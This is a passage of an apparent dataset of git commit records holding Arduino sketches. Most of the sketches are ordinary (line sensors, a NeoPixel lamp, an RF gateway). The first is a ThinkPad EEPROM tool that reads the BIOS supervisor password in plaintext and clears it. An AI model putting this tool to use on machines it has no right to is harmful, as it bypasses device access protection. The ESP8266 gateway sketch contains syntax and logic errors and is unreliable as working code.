ack=0,i,ii;\n\t\n\t\n\t\/\/startbit\n\tdigitalWrite(sda,LOW);\n\tdelayMicroseconds(delay_halfperiod);\n\t\n\t\n\t\/\/send data\n\tfor (ii=0; ii < byte_count; ii++){\n\t\tfor (i=7; i >= 0; i--){\n\t\t\tdigitalWrite(scl,LOW);\n\t\t\tdelayMicroseconds(delay_halfperiod);\n\t\t\tdigitalWrite(sda,(data[ii] >> i) & 0x01);\n\t\t\tdelayMicroseconds(delay_halfperiod);\n\t\t\tdigitalWrite(scl,HIGH);\n\t\t\tdelayMicroseconds(2 * delay_halfperiod);\n\t\t\t\n\t\t}\n\t\t\n\t\t\/\/get ACK bit\n\t\tdigitalWrite(scl,LOW);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdigitalWrite(sda,HIGH);\n\t\tpinMode(sda, INPUT);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdigitalWrite(scl,HIGH);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tack = digitalRead(sda);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdigitalWrite(scl,LOW);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tpinMode(sda,OUTPUT);\n\t\t\n\/\/Serial.print(\"ack:\");\n\/\/Serial.println((ack == HIGH)?'1':'0');\n\t\t\n\t\tif (ack == HIGH){\n\t\t\tSerial.print(\"xNACK!! \");\n\t\t\tSerial.println((int)ii);\n\t\t\tbreak;\n\t\t\t}\n\t}\n\n\t\/\/stop bit\n\tdigitalWrite(sda,LOW);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(scl,HIGH);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(sda,HIGH);\n\tdelayMicroseconds(2 * delay_halfperiod);\n\n\n\t\/\/give chip time to process write\n\tdelay(10);\n\n\treturn (ack == LOW);\n}\n\n\n\n\nbyte receive_i2c_data(byte addr){\n\tchar ack=0,i,ii;\n\tbyte data = 0;\n\n\t\/\/startbit\n\tdigitalWrite(sda,LOW);\n\tdelayMicroseconds(delay_halfperiod);\n\n\n\t\/\/send address\n\tfor (i=7; i >= 0; i--){\n\t\tdigitalWrite(scl,LOW);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdigitalWrite(sda,(addr >> i) & 0x01);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdigitalWrite(scl,HIGH);\n\t\tdelayMicroseconds(2 * delay_halfperiod);\n\t}\n\n\t\t\n\t\/\/get ACK bit\n\tdigitalWrite(scl,LOW);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(sda,HIGH);\n\tpinMode(sda, INPUT);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(scl,HIGH);\n\tdelayMicroseconds(delay_halfperiod);\n\tack = digitalRead(sda);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(scl,LOW);\n\tdelayMicroseconds(delay_halfperiod);\n\tpinMode(sda,OUTPUT);\n\t\n\tif (ack == HIGH){\n\t\tSerial.print(\"yNACK!! \");\n\t\tSerial.println((int)ii);\n\t\treturn 0;\n\t\t}\n\n\n\/\/Serial.print(\"ack:\");\n\/\/Serial.println((ack == HIGH)?'1':'0');\n\n\t\/\/read byte\n\tpinMode(sda, INPUT);\n\tfor (i=7; i >= 0; i--){\n\t\tdigitalWrite(scl,LOW);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdigitalWrite(scl,HIGH);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t\tdata = (data << 1) | ((digitalRead(sda)==HIGH)?1:0);\n\t\tdelayMicroseconds(delay_halfperiod);\n\t}\t\n\tpinMode(sda,OUTPUT);\n\n\t\/\/send no ack\n\tdigitalWrite(scl,LOW);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(sda,HIGH);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(scl,HIGH);\n\tdelayMicroseconds(delay_halfperiod);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(scl,LOW);\n\tdigitalWrite(sda,HIGH);\n\tdelayMicroseconds(delay_halfperiod);\n\n\/\/Serial.print(\"ack:\");\n\/\/Serial.println((ack == HIGH)?'1':'0');\n\n\t\/\/stop bit\n\tdigitalWrite(sda,LOW);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(scl,HIGH);\n\tdelayMicroseconds(delay_halfperiod);\n\tdigitalWrite(sda,HIGH);\n\tdelayMicroseconds(2 * delay_halfperiod);\n\n\treturn data;\n}\n\n\n\n#define confTableSize 64\n\n\/\/scancode conversion table\nchar convTable[256] = {\n\t\t' ', ' ', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '=', ' ', ' ', \n\t\t'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P', ' ', '$', ' ', ' ', 'A', 'S', \n\t\t'D', 'F', 'G', 'H', 'J', 'K', 'L', ';', '\\'','`', '\\\\','\\\\','Z', 'X', 'C', 'V', \n\t\t'B', 'N', 'M', ',', '.', '\/', '\"', '*', ' ', ' ', ' ', ' ', 'f', 'f', 'f', 'f',\n\t\t\n\t\t'f', 'f', 'f', 'f', 'f', ' ', ' ', '7', '8', '9', '-', '4', '5', '6', '+', '1',\n\t\t'2', '3', '0', '.', ' ', ' ', '>', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t};\n\t\t\n\nchar convTableAlternate[256] = {\n\t\t' ', ' ', ' ', ' ', '1', '1', '2', '3', '3', '3', '4', '4', '5', '5', '6', '6', \n\t\t'7', '7', '8', '8', '9', '9', '0', '0', '-', '-', '=', '=', ' ', ' ', ' ', ' ',\n\t\t'Q', 'Q', 'W', 'W', 'E', 'E', 'R', 'R', 'T', 'T', 'Y', 'Y', 'U', 'U', 'I', 'I',\n\t\t'O', 'O', 'P', 'P', ' ', ' ', '$', '$', ' ', ' ', ' ', ' ', 'A', 'A', 'S', 'S',\n\t\t\n\t\t'D', 'D', 'F', 'F', 'G', 'G', 'H', 'H', 'J', 'J', 'K', 'K', 'L', 'L', ';', ';',\n\t\t'\\'','\\'','`', '`', '\\\\','\\\\','\\\\','\\\\', 'Z', 'Z', 'X', 'X', 'C', 'C', 'V', 'V',\n\t\t'B', 'B', 'N', 'N', 'M', 'M', ',', ',', '.', '.', '\/', '\/', '\"', '\"', '*', '*',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f',\n\t\t\n\t\t'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', 'f', ' ', ' ', ' ', ' ', '7', '7',\n\t\t'8', '8', '9', '9', '-', '-', '4', '4', '5', '5', '6', '6', '+', '+', '1', '1',\n\t\t'2', '2', '3', '3', '0', '0', '.', '.', ' ', ' ', ' ', ' ', '>', '>', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n\t\t};\n\n\n\nvoid dumpEeprom(boolean debug = false){\n\tbyte page = 0;\n\tbyte data[2];\n\t\n\tdata[0] = 0xa8 | 0x00;\n\tdata[1] = 0;\n\t\n\tSerial.println(\"Dump the whole eeprom: \");\n\n\twhile (true){\n\t\tboolean res = send_i2c_data(data,2);\n\t\tbyte dat = receive_i2c_data(data[0] | 0x01);\n\t\n\t\tif (! res){\n\t\t\tSerial.println(\" NACK \");\n\t\t\tSerial.println(\"!!! Error !!! Reading Eeprom failed!\");\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tif (debug){\n\t\t\tSerial.print(\"Page \");\n\t\t\tSerial.print(page + 1);\n\t\t\tSerial.print(\"; \");\n\t\t\tSerial.print(data[1],DEC);\n\t\t\tSerial.print(\": \");\n\t\t\tSerial.print((unsigned int)data[1] + 255 * (unsigned int)page, HEX);\n\t\t\tSerial.print(\" => 0x\");\n\t\t}\n\t\t\n\t\t\n\t\tif( dat < 0x10){ Serial.print(\"0\");}\n\t\tSerial.print(dat,HEX);\n\t\tSerial.print(\" \");\n\t\t\n\t\tif (debug){\n\t\t\tSerial.print(\" => \");\n\t\t\tSerial.print(convTable[dat]);\n\t\t\tSerial.print(\" => \");\n\t\t\tSerial.println(convTableAlternate[dat]);\n\t\t}\n\t\n\t\tdata[1]++;\n\t\tif (data[1] == 0){\n\t\t\tif (page == 0){\n\t\t\t\tdata[0] = 0xa8 | 0x02; \n\t\t\t\tpage = 1;\n\t\t\t}\n\t\t\telse if (page == 1){\n\t\t\t\tdata[0] = 0xa8 | 0x04;\n\t\t\t\tpage = 2 ;\n\t\t\t}\n\t\t\telse if (page == 2){\n\t\t\t\tdata[0] = 0xa8 | 0x06;\n\t\t\t\tpage = 3 ;\n\t\t\t}\n\t\t\telse if (page == 3){\n\t\t\t\tSerial.println(\"\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tdata[1] = 0;\n\t\t}\n\t}\n}\n\n\n\n\nvoid readPassword(char* table){\n\tbyte data[2];\n\t\n\t\n\tdata[0] = 0xa8 | 0x06;\n\tdata[1] = 56;\n\t\n\tSerial.print(\"The Supervisor Password is: \");\n\n\twhile (true){\n\t\tboolean res = send_i2c_data(data,2);\n\t\tbyte dat = receive_i2c_data(data[0] | 0x01);\n\t\t\n\t\tif (! res){\n\t\t\tSerial.println(\" NACK \");\n\t\t\tSerial.println(\"!!! Error !!! Could not read the Password!\");\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t\n\t\tSerial.print(convTable[dat]);\n\t\tdata[1]++;\n\t\t\n\t\tif (data[1] > 62){\n\t\t\tSerial.println(\"\");\n\t\t\treturn;\n\t\t}\n\t}\n\n}\n\n\n\/*\nvoid readAccessProt(){\n\tbyte data[2];\n\t\n\tSerial.print(\"Access Page: \");\n\t\n\tdata[0] = 0xa8;\n\tdata[1] = 0;\n\tboolean res = send_i2c_data(data,2);\n\t\n\t\n\t\n\tfor (byte i = 0; i < 10; i++){\n\t\tdata[0] = 0xb8;\n\t\tdata[1] = i;\n\t\t\/\/boolean res = send_i2c_data(data,2);\n\t\tbyte dat = receive_i2c_data(data[0] | 0x01);\n\t\tif( dat < 0x10){ Serial.print(\"0\");}\n\t\tSerial.print(dat,HEX);\n\t\tSerial.print(\" \");\n\t\n\t}\n\n\tSerial.println(\"\");\n\n\n}*\/\n\n\n\n\n\n\nbyte orgData[16];\nbyte kornData[10] = {\t0x00, 0x00,\n\t\t\t\t\t\t\/\/0x25, 0x18, 0x13, 0x31, 0x00, 0x00, 0x00, 0x81};\/\/password korn\n\t\t\t\t\t\t\/\/0x02, 0x03, 0x04, 0x04, 0x00, 0x00, 0x00, 0x0e};\/\/password 1234\n\t\t\t\t\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};\/\/ clear password\n\t\t\t\t\t\t\nvoid setPwKorn(){\n\tbyte data[2];\n\tint i = 0;\n\t\n\tdata[0] = 0xa8 | 0x06;\n\tdata[1] = 56;\n\t\n\tSerial.println(\"Original data:\");\n\n\twhile (true){\n\t\tboolean res = send_i2c_data(data,2);\n\t\tbyte dat = receive_i2c_data(data[0] | 0x01);\n\t\t\n\t\t\n\t\t\n\t\tif (! res){\n\t\t\tSerial.println(\" NACK \");\n\t\t\tSerial.println(\"!!! Error !!! Could not read the Password!\");\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t\n\t\torgData[i++] = dat;\n\t\tif( dat < 0x10){ Serial.print(\"0\");}\n\t\tSerial.print(dat,HEX);\n\t\tSerial.print(\" \");\n\t\t\n\t\t\n\t\tdata[1]++;\n\t\t\n\t\tif (data[1] > 71){\n\t\t\tSerial.println(\"\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tkornData[0] = 0xa8 | 0x06;\n\tkornData[1] = 56;\n\tboolean res = send_i2c_data(kornData,10);\n\t\n\tif (! res){\n\t\t\tSerial.println(\" NACK \");\n\t\t\tSerial.println(\"!!! Error !!! Could not set the Password!\");\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t\n\t\n\tkornData[0] = 0xa8 | 0x06;\n\tkornData[1] = 64;\n\tres = send_i2c_data(kornData,10);\n\t\n\tif (! res){\n\t\t\tSerial.println(\" NACK2 \");\n\t\t\tSerial.println(\"!!! Error !!! Could not set the Password!\");\n\t\t\treturn;\n\t\t}\n\n\n}\n\n\n\n\n\n\n\nvoid setup() {\n\t\n\tpinMode(scl, OUTPUT);\n\tpinMode(sda, OUTPUT);\n\tdigitalWrite(scl,HIGH);\n\tdigitalWrite(sda,HIGH);\n\tdelay(20);\n\t\n\tSerial.begin(57600);\n\t\n\twhile (Serial.available() != 0)\n\t\tchar c = Serial.read();\n}\n\n\nvoid loop() {\n\tSerial.println(\"\");\n\tSerial.println(\"\");\n\tSerial.println(\"\");\n\tSerial.println(\"Deif's Thinkpad Eeprom Reader\");\n\tSerial.println(\"Usage:\");\n\tSerial.println(\"p: Read the Password in Plaintext\");\n\tSerial.println(\"w: Read the Password in Plaintext (alternate Scancode)\");\n\tSerial.println(\"d: Dump the Eeprom in HEX format (for import in IBMpass)\");\n\tSerial.println(\"g: Dump the Eeprom in Text format (for debug)\");\n\tSerial.println(\"h: Clear the password!\");\n\t\n\t\n\twhile (Serial.available() == 0);\n\t\n\tchar c = Serial.read();\nSerial.println(c);\n\tif (c == 'p')\n\t\treadPassword(convTable);\n\telse if (c == 'w')\n\t\treadPassword(convTableAlternate);\n\telse if (c == 'd')\n\t\tdumpEeprom(false);\n\telse if (c == 'g')\n\t\tdumpEeprom(true);\n\telse if (c == 'h')\n\t\tsetPwKorn();\n\telse\n\t\tSerial.println(\"Unknown command!\");\n\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Misc\/thinkpadEepromReader\/thinkpadEepromReader.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4a089db7ab31f10b2e4c891abbae36ac510f54de","subject":"added LineSensorTest sketch","message":"added LineSensorTest sketch\n","repos":"pololu\/balboa-32u4-arduino-library,pololu\/balboa-32u4-arduino-library,pololu\/balboa-32u4-arduino-library","old_file":"examples\/LineSensorTest\/LineSensorTest.ino","new_file":"examples\/LineSensorTest\/LineSensorTest.ino","new_contents":"\/\/ This example shows how to read the raw values from the five line sensors on\n\/\/ the Balboa32U4 Reflectance Sensor Array. This example is useful if you are\n\/\/ having trouble with the sensors or just want to characterize their behavior.\n\/\/\n\/\/ Make sure the configuration of the sensor object, in the setup() function\n\/\/ below, matches the orientation in which your sensor array is mounted.\n\/\/\n\/\/ The raw (uncalibrated) values are reported to the serial monitor. You can\n\/\/ press the \"C\" button to toggle whether the IR emitters are on during the\n\/\/ reading.\n\n#include <Balboa32U4.h>\n\nBalboa32U4ButtonC buttonC;\nBalboa32U4LineSensors lineSensors;\n\nconst uint8_t SensorCount = 5;\nuint16_t sensorValues[SensorCount];\n\nbool useEmitters = true;\n\nvoid setup()\n{\n \/\/ This program assumes your sensors are mounted in the edge-aligned\n \/\/ configuration (CTRL on pin 5). If you are using the sensors in the\n \/\/ center-aligned configuration (CTRL on pin 12), then comment out the call\n \/\/ to setEdgeAligned() and uncomment the call to setCenterAligned().\n lineSensors.setEdgeAligned();\n \/\/ lineSensors.setCenterAligned();\n}\n\n\/\/ Prints a line with all the sensor readings to the serial\n\/\/ monitor.\nvoid printReadingsToSerial()\n{\n char buffer[80];\n sprintf(buffer, \"%4d %4d %4d %4d %4d %c\\n\",\n sensorValues[0],\n sensorValues[1],\n sensorValues[2],\n sensorValues[3],\n sensorValues[4],\n useEmitters ? 'E' : 'e'\n );\n Serial.print(buffer);\n}\n\nvoid loop()\n{\n static uint16_t lastSampleTime = 0;\n\n if ((uint16_t)(millis() - lastSampleTime) >= 100)\n {\n lastSampleTime = millis();\n\n \/\/ Read the line sensors.\n lineSensors.read(sensorValues, useEmitters ? QTRReadMode::On : QTRReadMode::Off);\n\n \/\/ Send the results to the LCD and to the serial monitor.\n printReadingsToSerial();\n }\n\n \/\/ If button C is pressed, toggle the state of the emitters.\n if (buttonC.getSingleDebouncedPress())\n {\n useEmitters = !useEmitters;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LineSensorTest\/LineSensorTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a1e8e373abcfa9a56266d504cb92554af2ec8d0","subject":"Adding arduino sketch that will control neopixel led ring instead of simple red and green leds from the RPI GPIO. Based on serial communication. Brightness at 100 percent due to diffuser. Be careful with brightness without a diffuser, as it looks extremely bright to the naked eye.","message":"Adding arduino sketch that will control neopixel led ring instead of simple red and green leds from the RPI GPIO. Based on serial communication. Brightness at 100 percent due to diffuser. Be careful with brightness without a diffuser, as it looks extremely bright to the naked eye.\n","repos":"cwalk\/CapacitiveTouchLamp,cwalk\/CapacitiveTouchLamp","old_file":"capacitive_touch_lamp.ino","new_file":"capacitive_touch_lamp.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 6\n#define NUM_LEDS 16\n#define BRIGHTNESS 100\n#define ledPin 13\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n strip.begin();\n strip.setBrightness(BRIGHTNESS);\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin(9600);\n}\n\nvoid loop() {\n\n if (Serial.available()) \n {\n int var = (Serial.read() - '0'); \/\/ convert the character '1'-'9' to decimal 1-9\n\n switch(var)\n {\n case 1:\n yoda();\n break;\n case 2:\n luke();\n break;\n case 3:\n vader();\n break;\n case 4:\n vaderBreathing();\n break; \n }\n }\n delay(500);\n\n \/\/colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n \/\/colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n \/\/clearRing();\n \/\/strip.show();\n \/\/delay(1000);\n \/\/clearColor(0,0,0,35);\n \/\/rainbow(20);\n \/\/rainbowCycle(20);\n}\n\nvoid yoda() {\n \/\/blink(1);\n colorPulse(0, 255, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid luke() {\n \/\/blink(2);\n colorPulse(0, 255, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100); \n}\n\nvoid vader() {\n \/\/blink(3);\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\nvoid vaderBreathing() {\n \/\/blink(4);\n colorPulse(255, 0, 0, 100, 100);\n clearRing();\n strip.show();\n delay(100);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n\nvoid colorPulse(int r, int g, int b, uint8_t wait, uint8_t waitExtra) {\n clearRing();\n strip.show();\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/4, g\/4, b\/4));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/3, g\/3, b\/3));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/2, g\/2, b\/2));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r, g, b));\n strip.show();\n }\n delay(waitExtra*15);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/2, g\/2, b\/2));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/3, g\/3, b\/3));\n strip.show();\n }\n delay(wait);\n for(int i=NUM_LEDS-1;i>=0;i--) {\n strip.setPixelColor(i, strip.Color(r\/4, g\/4, b\/4));\n strip.show();\n }\n delay(wait);\n}\n\nvoid clearRing(){\n for(int i=0;i<NUM_LEDS;i++){\n strip.setPixelColor(i, strip.Color(0, 0, 0)); \/\/change RGB color value here\n }\n}\n\nvoid clearColor(int r, int g, int b, uint8_t wait) {\n for(int i=NUM_LEDS-1;i>=0;i--){\n strip.setPixelColor(i, strip.Color(r, g, b)); \/\/change RGB color value here\n strip.show();\n delay(wait);\n }\n}\n\nvoid blink(int numberOfTimes){\n for (int i = 0; i < numberOfTimes; i++) {\n digitalWrite(ledPin, HIGH);\n delay(1000);\n digitalWrite(ledPin, LOW);\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'capacitive_touch_lamp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bdc3cfb253008b09d8af17054d5ec8ce3aff1f73","subject":"added turn (or rather arc) left\/right","message":"added turn (or rather arc) left\/right\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_file":"src\/rfduino\/CannybotMazeSolver\/CannybotMazeSolver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fa207e5804a1472eee97b67c8576e3031bb6c3ae","subject":"Create GatewayRF2.ino","message":"Create GatewayRF2.ino","repos":"mttstt\/Domoticasite,mttstt\/Domoticasite","old_file":"GatewayRF2.ino","new_file":"GatewayRF2.ino","new_contents":"\/\/ References:\n\/\/ https:\/\/1technophile.blogspot.com\/2016\/08\/low-cost-low-power-6ua-garden-433mhz.html\n\/\/ https:\/\/github.com\/esp8266\/Arduino\/blob\/master\/doc\/reference.rst\n\/\/ https:\/\/arduino.stackexchange.com\/questions\/44531\/arduino-esp8266-direct-fast-control-of-the-digital-pins\n\/\/ https:\/\/www.instructables.com\/id\/Using-an-ESP8266-to-Control-Mains-Sockets-Using-43\/\n\/\/ http:\/\/nerdralph.blogspot.com\/2015\/04\/a-4mbps-shiftout-for-esp8266arduino.html\n\n\/\/ Note(1): Watt OK. max pinout watt of Nodemcu 1.0 10mW, Cheap transmitter 433mhz 10 10mW\n\/\/ Note(2): digitalwrite() Esp8286 function runs to 160Khz (6,25 \u03bcs): it is enough for this program\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WiFiMulti.h> \n#include <ESP8266mDNS.h>\n#include <ESP8266WebServer.h>\n \nchar ssid[] = \"MTT_2.4\";\/\/type your ssid\nchar password[] = \"xxx\";\/\/type your password\n#define SERVER_PORT 80\nconst int pulse = 360; \/\/\u03bcs\n\/\/const char* up6 = '110011000000100100000000000000001011100100000001101000100000000000'\n#define UP6_SIZE 67\nint up6[67] = {1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0};\n#define pin 3 \/\/GPIO3 = RX pin\n#define NUM_ATTEMPTS 3\n\nchar header[10];\n\n\/\/Do we want to see trace for debugging purposes\n#define TRACE 1 \/\/ 0= trace off 1 = trace on\n\nvoid trc(String msg); \/\/ function prototypes \nvoid transmit_code(int code[]);\nvoid handleRoot();\n\n\nWiFiServer server (SERVER_PORT);\n \nvoid setup(void) {\n Serial.begin(115200);\n delay(10);\n \/\/ Connect to WiFi network\n Serial.print(\"Attempting to connect to WPA network...\");\n Serial.println(ssid);\n \n Serial.flush();\n SerialUSB.println(\"I'm here!\")\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"WiFi connected\"); \n \/\/ Start the server\n server.begin();\n Serial.print(\"Web Server started. Use this URL to connect: \");\n Serial.print(\"http:\/\/\");\n Serial.print(WiFi.localIP());\n Serial.println(\"\/\"); \n \/\/ =======================================================\n if (!MDNS.begin(\"gatewayRF\")) {\n Serial.println(\"Error setting up MDNS responder!\");\n while(1) { \n delay(1000);\n }\n }\n Serial.println(\"mDNS responder started\");\n MDNS.addService(\"http\", \"tcp\", SERVER_PORT);\n \/\/ =======================================================\n\n server.on(\"\/UP6\", HTTP_GET, handleRoot);\n server.onNotFound([](){server.send(404, \"text\/plain\", \"404: Not found\"); });\n\n pinMode(pin,OUTPUT); \/\/ sets the digital pin 3 as output\n trc(\"Sets the digital pin 3 as output\"); \n yield();\n}\n\nvoid loop(voip) {\n server.handleClient(); \n}\n\n\n\/\/ trace function\nvoid trc(String msg){if (TRACE) { Serial.println(msg); } }\n\n\nvoid transmit_code(int code[]){\n for (int i = 0; i < NUM_ATTEMPTS; i++) { \n \/\/ ----------------------- Preamble ----------------------\n trc(\"transmit preamble\");\n digitalWrite(pin, LOW); \n delay(3000); \/\/ sleep for 0,3 seconds\n for (int i = 0; i < 12; i++) { \n digitalWrite(pin, HIGH); \n delayMicroseconds(pulse);\n digitalWrite(pin, LOW); \n delayMicroseconds(pulse); \n }\n \/\/ ---------------------- End Preamble --------------------\n \/\/ -----------------------Segnal --------------------------\n trc(\"transmit segnal\");\n digitalWrite(pin, LOW);\n delayMicroseconds(3500); \/\/ added 3,5 millis\n int c=0;\n for (c=0;c<UP6_SIZE;c++) { \n if (code[c] == '1'){ \n digitalWrite(pin, HIGH); \n delayMicroseconds(pulse);\n digitalWrite(pin, LOW); \n delayMicroseconds(pulse*2);\n } \n else if (code[c] == '0'){\n digitalWrite(pin, HIGH); \n delayMicroseconds(pulse*2);\n digitalWrite(pin, LOW); \n delayMicroseconds(pulse);\n } \n else\n { \n digitalWrite(pin, LOW);\n delayMicroseconds(3000); \/\/ added 3 millis\n }\n \/\/ ---------------------End Segnal -------------------------- \n }\n yield();\n delay(2000); \/\/ added 2 millis \n }\n}\n\n\nvoid handleRoot() {server.send(200, \"text\/html\", \"<h1> Gateway Rf <\/h1> <p>up6<\/p> \");\n 